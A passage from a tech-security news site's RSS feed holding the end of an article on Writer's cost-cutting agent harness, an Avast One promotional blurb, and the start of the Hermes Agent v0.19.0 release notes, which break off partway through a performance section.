GLM 5.1, and Writer’s own model, Palmyra X6. </p><p>Their experiments compared a frozen, conventional production agent loop against the finished Writer Agent Harness on the same 22 locked enterprise tasks, spanning capabilities like grounding and retrieval, multi-step workflows, tool use, and content generation. By holding the models and tasks constant, they could isolate the effects of the orchestration layer itself.</p><p>The optimized harness drove a significant drop in costs, cutting the blended cost per task by 41%, from 21 cents to 12 cents. This was largely achieved by slashing token consumption, with the number of tokens per task falling 38%, from 14.2k to 8.8k.</p><p>The harness is designed to delegate tasks like search to specialized sub-agents. A sub-agent receives only the tool and the specific query it needs, retrieves the exact data, and returns a capped, clean summary to the main agent — keeping the primary context window from filling up with raw search results.</p><p>Task success rates held steady even as token use fell — moving from 78% to 81%, a gain the researchers describe as directional rather than statistically significant at their sample size, meaning quality didn't suffer even as costs dropped.</p><p>End-to-end task latency also dropped significantly, reducing the median wall-clock time by 44%, from 48 seconds to 27 seconds, due to prompt caching and the elimination of dead-end reasoning loops.</p><p>However, the researchers also found limits to multi-agent orchestration. Smaller models like Gemini Flash 3.5 and Qwen 3.6 scored well below a usable reliability threshold on sub-agent delegation tasks (0.45 and 0.42, respectively) — the capability simply isn't dependable yet on lighter-weight models.</p><p>Sub-agent orchestration only crossed a usable reliability threshold on the two strongest models tested: Writer's own Palmyra X6 (0.86) and Claude Sonnet 4.6 (0.85).</p><h2>The developer’s playbook: actionable takeaways and tradeoffs</h2><p>The findings from the study translate into a playbook for enterprise developers building agentic workflows at scale. The first step is to implement what AlShikh calls the "Two-Zone Prompt" and "Context Offloading."</p><p><b>Structure for system prompt caching (The Two-Zone Prompt):</b> Modern LLM APIs offer prompt caching, but developers must structure their payloads correctly to trigger it. Developers must separate the "stable zone" from the "volatile zone." Place static, unchanging elements (e.g., core rules, large tool schemas, and standard operating procedures) at the top of the prompt. Dynamic elements, such as the specific user query or recent conversational task state, must be appended at the bottom. This ordering allows the harness to reuse the cached prefix across hundreds of calls. "That single separation makes prompt caching actually work and stops you from re-paying for the same instructions on every one of an agent's thirty steps," AlShikh said.</p><p><b>Manage context with Context Offloading:</b> Avoid context stuffing, where every turn of a loop is appended into a monolithic prompt until the window maxes out. Instead, move history and intermediate artifacts out of the window into retrievable storage, and pull back only what the current step needs. If possible, delegate tasks to single-purpose sub-agents to avoid context bloat. As AlShikh points out, "the biggest line item in agent spend isn't reasoning — it's re-sending things the model has already seen."</p><p><b>Build resilient loops and redefine KPIs:</b> Unmanaged agent loops drain API budgets rapidly. Teams must begin tracking Completions Per Million tokens (CPM) to understand their true task costs, but the harness itself must contain physical guardrails. "The core principle is that you never ask the model to police its own spending," AlShikh said. "The fence has to live below the model, in code, on your side of the API." This requires three hard checks:</p><ul><li><p><b>Hard per-task token budgets:</b> The run terminates when the budget is spent, no exceptions.</p></li><li><p><b>Generation fencing:</b> Caps on steps, tool calls, and recursion depth to stop non-converging agents. </p></li><li><p><b>Failure-spend governance:</b> Cap what a run can spend after its first failed validation so a failing task doesn't become your most expensive task.</p></li></ul><p><b>Avoid unnecessary complexity:</b> Optimizing the orchestration layer comes with engineering overhead. If you're in the prototyping and exploration stage, that overhead isn't justified — iterate fast with a strong model and a light harness. Once you're scaling to millions of requests a day, the savings from harness optimization become substantial.</p><p>However, teams must be aware of "harness leverage." Adding structural scaffolding requires the model to hold and obey that context. If a model is too small, it will spend its limited capacity parsing the scaffolding instead of doing the task, causing accuracy to drop and tokens to rise. The rule for adding complex orchestration features is strictly mathematical: "If a feature adds more coordination tokens than it removes task tokens for that specific model, cut it," AlShikh said. "Nothing in the harness is free."</p><h2>The future of the enterprise harness</h2><p>The era of tokenmaxxing and treating context windows like bottomless buckets is coming to an end. Throwing more compute at poorly designed systems is not a viable strategy for companies that need to demonstrate a return on their AI investments. </p><p>As foundation models evolve to absorb planning, tool selection, and multi-step reasoning natively into their weights, the role of the harness will shift from compensating for model weakness to enforcing enterprise policy.</p><p>"What never moves into the model is the 'allowed': budgets, permissions, data boundaries, audit trails, deterministic kill-switches," AlShikh said. "Five years from now, the harness will be thinner but more important. There will be less scaffolding and more governance. However capable the model gets, someone external to it still has to define what it may spend, see, and touch. That layer belongs to the enterprise, and it should never be rented."</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Avast One: One App for Security, Privacy & Performance]]></title>
<description><![CDATA[Author: Avast - Bewertung: 2x - Views:4 Your digital life is complicated enough — your protection shouldn't be. 

Avast One is an all-in-one app that brings together everything you need to stay safe, private, and running smoothly online. No more juggling separate apps, overlapping tools, or rigid...]]></description>
<link>https://tsecurity.de/de/3682212/malware-trojaner-viren/avast-one-one-app-for-security-privacy-performance/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682212/malware-trojaner-viren/avast-one-one-app-for-security-privacy-performance/</guid>
<pubDate>Mon, 20 Jul 2026 23:36:27 +0200</pubDate>
<category>⚠️ Malware / Trojaner / Viren</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Avast - Bewertung: 2x - Views:4 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/OINVL4fGpSY?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>Your digital life is complicated enough — your protection shouldn't be. <br />
<br />
Avast One is an all-in-one app that brings together everything you need to stay safe, private, and running smoothly online. No more juggling separate apps, overlapping tools, or rigid bundles. Just one clean dashboard, one smart app, and full control over what protects you. <br />
<br />
Here's what's inside Avast One: ✔ Advanced antivirus & real-time threat detection ✔ AI-powered scam protection that spots suspicious links before you click ✔ A VPN that encrypts your connection and hides your IP address ✔ Device cleanup tools to clear junk and speed things up ✔ Identity monitoring to check for your info on the dark web <br />
<br />
Start with award-winning free antivirus — then add only the modules you actually need, when you need them. Available on Windows, Mac, Android, and iOS. <br />
<br />
Because staying protected shouldn't feel like a second job. <br />
<br />
🔒 Download Avast One free today → avast.com <br />
<br />
#AvastOne #Avast #CyberSecurity #OnlineSafety #DigitalPrivacy #AntiVirus #VPN #ScamProtection #MalwareProtection #InternetSecurity #PrivacyProtection #CyberProtection #TechTips #DigitalSecurity #FreeAntivirus <br />
<br />
 Follow us: <br />
<br />
YouTube @Avast <br />
Instagram @AvastOfficial <br />
Facebook @Avast <br />
TikTok @Avast<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Hermes Agent v0.19.0 (2026.7.20) — The Quicksilver Release]]></title>
<description><![CDATA[Hermes Agent v0.19.0 (v2026.7.20)
Release Date: July 20, 2026
Since v0.18.0: ~2,245 commits · ~1,065 merged PRs · ~2,465 files changed · ~300,000 insertions · ~36,000 deletions · ~3,300 issues closed · 450+ community contributors

The Quicksilver Release. Hermes is the messenger god, and this win...]]></description>
<link>https://tsecurity.de/de/3681964/downloads/hermes-agent-v0190-2026720-the-quicksilver-release/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681964/downloads/hermes-agent-v0190-2026720-the-quicksilver-release/</guid>
<pubDate>Mon, 20 Jul 2026 20:46:40 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h1>Hermes Agent v0.19.0 (v2026.7.20)</h1>
<p><strong>Release Date:</strong> July 20, 2026<br>
<strong>Since v0.18.0:</strong> ~2,245 commits · ~1,065 merged PRs · ~2,465 files changed · ~300,000 insertions · ~36,000 deletions · <strong>~3,300 issues closed</strong> · <strong>450+ community contributors</strong></p>
<blockquote>
<p><strong>The Quicksilver Release.</strong> Hermes is the messenger god, and this window we made him move like it. First-turn time-to-first-token dropped <strong>~80% on every platform</strong>, reasoning streams live by default, the desktop app got a ~20-PR speed overhaul (14× faster streaming markdown, virtualized diffs, snappy session switching), and the TUI renders markdown incrementally. Around that speed spine: you can now <strong>manage your Nous subscription without leaving the terminal</strong>, plug <strong>Bitwarden and 1Password</strong> straight into Hermes, let <strong>smart approvals</strong> judge flagged commands for you by default, <strong>watch your subagents work live</strong>, and trust that a finished response <strong>survives a gateway crash</strong> thanks to a durable delivery ledger. This release also rolls up everything from the v0.18.1 and v0.18.2 infrastructure patch tags — those windows are fully documented here.</p>
</blockquote>
<hr>
<h2>✨ Highlights</h2>
<ul>
<li>
<p><strong>Hermes got dramatically faster — first token in a fraction of the time</strong> — Cold-start "Initializing agent..." used to eat ~4.3 seconds before your first turn even reached the model; it's now ~0.9s, an ~80% cut that applies to the CLI, gateway, TUI, desktop, and cron alike. Round 2 attacked what you <em>see</em> while waiting: reasoning models now stream their thinking live by default (no more staring at a spinner for 30 seconds), and the response box paints per token instead of per line. If Hermes ever felt like it took a deep breath before answering, that breath is gone. (<a href="https://github.com/NousResearch/hermes-agent/pull/59332" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59332/hovercard">#59332</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59389" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59389/hovercard">#59389</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>The desktop app speed wave — 20+ targeted perf PRs</strong> — Long replies used to cost 14× more CPU in the markdown splitter than they do now; giant diffs froze the review pane until we virtualized it; switching sessions thrashes layout no more. Streaming no longer re-renders the sidebar and every tool row per token, profile backends pre-warm on hover intent, and boot-hidden panes mount at idle instead of on the cold-start critical path. The net effect: the desktop app feels like a native app under load, even with huge transcripts and busy agents. (<a href="https://github.com/NousResearch/hermes-agent/pull/67154" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67154/hovercard">#67154</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67818" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67818/hovercard">#67818</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65898" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65898/hovercard">#65898</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66033" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66033/hovercard">#66033</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66747" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66747/hovercard">#66747</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67742" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67742/hovercard">#67742</a> and more — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</p>
</li>
<li>
<p><strong>Manage your Nous plan from the terminal — <code>/subscription</code> and <code>/topup</code></strong> — Changing your subscription used to mean a trip to the billing website. Now <code>/subscription</code> opens a full flow right in the TUI or classic CLI: see your plan and remaining allowance, preview exactly what an upgrade costs ("Pay $46.30 &amp; upgrade now") or when a downgrade takes effect, and apply it — with scheduled-change banners and undo. The desktop app got a matching billing settings tab. Your wallet never has to leave the keyboard. (<a href="https://github.com/NousResearch/hermes-agent/pull/51639" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51639/hovercard">#51639</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61054" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61054/hovercard">#61054</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61067" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61067/hovercard">#61067</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alt-glitch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alt-glitch">@alt-glitch</a>)</p>
</li>
<li>
<p><strong>Smart approvals are now the default</strong> — When Hermes wants to run a flagged command, an LLM reviewer now assesses it independently instead of asking you to approve every single one — and each verdict covers only that exact command, so a later command matching the same pattern gets its own review. Combined with the new <strong>user-defined deny rules</strong> (which block commands even under yolo mode) and <code>/deny &lt;reason&gt;</code> (which tells the agent <em>why</em> you refused so it course-corrects), day-to-day approval fatigue drops sharply without giving up control. (<a href="https://github.com/NousResearch/hermes-agent/pull/62661" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62661/hovercard">#62661</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59164" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59164/hovercard">#59164</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/54518" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54518/hovercard">#54518</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>Plug your password manager into Hermes — Bitwarden &amp; 1Password secret sources</strong> — API keys no longer have to live in a plaintext <code>.env</code>. A new pluggable <code>SecretSource</code> interface lets Hermes fetch secrets from Bitwarden and 1Password (<code>op://</code> references) at load time, with multiple vaults enabled simultaneously, deterministic precedence, conflict warnings, and per-variable provenance. This consolidated eleven competing community PRs into one orchestrated interface — future vault providers drop in as plugins. (<a href="https://github.com/NousResearch/hermes-agent/pull/59498" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59498/hovercard">#59498</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, 1Password provider salvaged from <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hwrdprkns/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hwrdprkns">@hwrdprkns</a>)</p>
</li>
<li>
<p><strong>Watch your subagents work — live transcripts + durable background delegation</strong> — <code>delegate_task</code> dispatches now return live transcript files you can <code>tail -f</code> the moment the subagents launch: every tool call, result, and streamed reply, one human-readable log per child. And background delegation completions are now <strong>durable</strong> — if the process restarts mid-run, results are restored and delivered through an ownership-checked ledger instead of vanishing. Fan out a fleet, watch any worker live, and never lose the results. (<a href="https://github.com/NousResearch/hermes-agent/pull/67479" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67479/hovercard">#67479</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63494" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63494/hovercard">#63494</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>A finished answer can no longer be lost — the delivery-obligation ledger</strong> — If the gateway died between generating your response and confirming the platform actually delivered it, that answer used to be silently gone (and you'd paid for the turn). Final responses are now recorded in a durable ledger in <code>state.db</code> around the platform send and <strong>redelivered on the next boot</strong> — closing a P1 silent-loss window for Telegram, Discord, Slack, and every other channel. (<a href="https://github.com/NousResearch/hermes-agent/pull/67181" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67181/hovercard">#67181</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>One gateway, many profiles — profile-based message routing</strong> — A single multiplexed gateway sharing one bot token can now route specific guilds, channels, or threads to different profiles — each with fully isolated config, skills, memory, and secrets. Point your work Discord server at the <code>work</code> profile and your hobby server at <code>personal</code>, from one bot. A second multiplex hardening wave means one misconfigured profile can no longer take down the whole gateway. (<a href="https://github.com/NousResearch/hermes-agent/pull/64835" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64835/hovercard">#64835</a> salvaging <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Burgunthy/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Burgunthy">@Burgunthy</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65700" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65700/hovercard">#65700</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60589" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60589/hovercard">#60589</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a> + six salvaged contributors)</p>
</li>
<li>
<p><strong>New providers and the newest frontier models</strong> — Fireworks AI and DeepInfra land as first-class providers (Fireworks with cost estimation and a <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3370551446" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/2" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/2/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/2">#2</a> slot in the provider picker), Upstage Solar joins via salvage, and the model catalogs picked up <strong>GPT-5.6 (Sol/Terra/Luna + Pro variants, wired end-to-end across every route)</strong>, <strong>grok-4.5 (GA)</strong>, <strong>moonshotai/kimi-k3</strong>, <strong>claude-fable-5 / claude-sonnet-5</strong>, and GA <strong>tencent/hy3</strong> — plus LM Studio JIT model loading for local setups. (<a href="https://github.com/NousResearch/hermes-agent/pull/62593" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62593/hovercard">#62593</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63969" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63969/hovercard">#63969</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61616" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61616/hovercard">#61616</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a> completing <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rob-maron/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rob-maron">@rob-maron</a>'s <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4848372503" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/61578" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61578/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/61578">#61578</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60887" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60887/hovercard">#60887</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65913" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65913/hovercard">#65913</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64541" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64541/hovercard">#64541</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65472" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65472/hovercard">#65472</a>)</p>
</li>
<li>
<p><strong>Crank the thinking to max — new reasoning effort tiers and per-model control</strong> — Reasoning effort gained <code>max</code> and <code>ultra</code> levels (GPT-5.6 and Codex's top tiers), selectable everywhere from the CLI to the desktop, with sane clamping on providers with smaller scales. You can now also pin <strong>per-model reasoning-effort overrides</strong> in config, set <strong>per-slot effort in MoA presets</strong> (your advisors think hard, your synthesizer stays fast), and per-task effort for auxiliary models. Thinking depth is now a dial, not a global switch. (<a href="https://github.com/NousResearch/hermes-agent/pull/62650" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62650/hovercard">#62650</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64458" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64458/hovercard">#64458</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64631" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64631/hovercard">#64631</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64597" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64597/hovercard">#64597</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>Your sessions, your data — export everything</strong> — <code>hermes sessions export</code> now writes Markdown, Quarto, HTML, prompt-only, and even Hugging Face-ready trace formats, with the full filter surface (age, workspace, platform), an opt-in <code>--redact</code> secret-scrubbing pass, and compacted-session lineage stitched into one logical export. Pair with the new prune filters and bulk archive to keep your session store tidy. Your conversation history is a real dataset now, not a black box. (<a href="https://github.com/NousResearch/hermes-agent/pull/60186" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60186/hovercard">#60186</a> salvaging <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/web3blind/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/web3blind">@web3blind</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60492" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60492/hovercard">#60492</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60507" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60507/hovercard">#60507</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59327" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59327/hovercard">#59327</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>Security hardening round</strong> — This window closed a long list of credential-surface gaps: Vertex credentials scoped away from subprocess env and through profile secret scopes, media/vision/image-gen local-file reads routed through one shared credential-read guard, a webhook body-size-cap sweep across every aiohttp server, bot-token redaction in Telegram transport errors, Fireworks token prefixes added to the redactor, six P1 browser/MEDIA/.env hardening PRs salvaged in one pass, and CI hardened against untrusted-ref interpolation. (<a href="https://github.com/NousResearch/hermes-agent/pull/57660" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57660/hovercard">#57660</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58709" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58709/hovercard">#58709</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59215" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59215/hovercard">#59215</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56582" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56582/hovercard">#56582</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57842" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57842/hovercard">#57842</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/srojk34/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/srojk34">@srojk34</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jquesnelle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jquesnelle">@jquesnelle</a>)</p>
</li>
</ul>
<hr>
<h2>⚡ Performance — the speed spine</h2>
<h3>First-turn latency (all platforms)</h3>
<ul>
<li><strong>~80% TTFT cut</strong> — Discord capability detection off the critical path (token-keyed 24h disk cache + background refresh), Ollama probe skipped for known non-Ollama providers, agent-init blocking work removed; cold submit→dispatch ~4.3s → ~0.9s (<a href="https://github.com/NousResearch/hermes-agent/pull/59332" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59332/hovercard">#59332</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>Perceived-latency round 2</strong> — <code>display.show_reasoning</code> default ON (watch the model think instead of a spinner), per-token response-box painting with width-aware force-flush, prompt-build caching, mtime-cached timezone resolution (<a href="https://github.com/NousResearch/hermes-agent/pull/59389" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59389/hovercard">#59389</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Segment mixed tool batches to recover lost concurrency; drop per-call base64 re-serialization from request-size estimates (<a href="https://github.com/NousResearch/hermes-agent/pull/64460" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64460/hovercard">#64460</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67788" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67788/hovercard">#67788</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
</ul>
<h3>Desktop speed wave</h3>
<ul>
<li>14× less splitter CPU via incremental block lexing for streaming markdown; virtualized review-pane diffs (no more full-Shiki freeze); snappy session switching on large transcripts; killed the layout-thrash cascade on session switch (<a href="https://github.com/NousResearch/hermes-agent/pull/67154" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67154/hovercard">#67154</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67818" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67818/hovercard">#67818</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65898" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65898/hovercard">#65898</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66033" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66033/hovercard">#66033</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Cut startup serialization + per-turn REST amplification; pre-warm profile backends and gateway sockets on hover intent; idle-mount boot-hidden panes; fast model picker + dialogs (<a href="https://github.com/NousResearch/hermes-agent/pull/66747" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66747/hovercard">#66747</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66347" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66347/hovercard">#66347</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67857" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67857/hovercard">#67857</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66470" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66470/hovercard">#66470</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
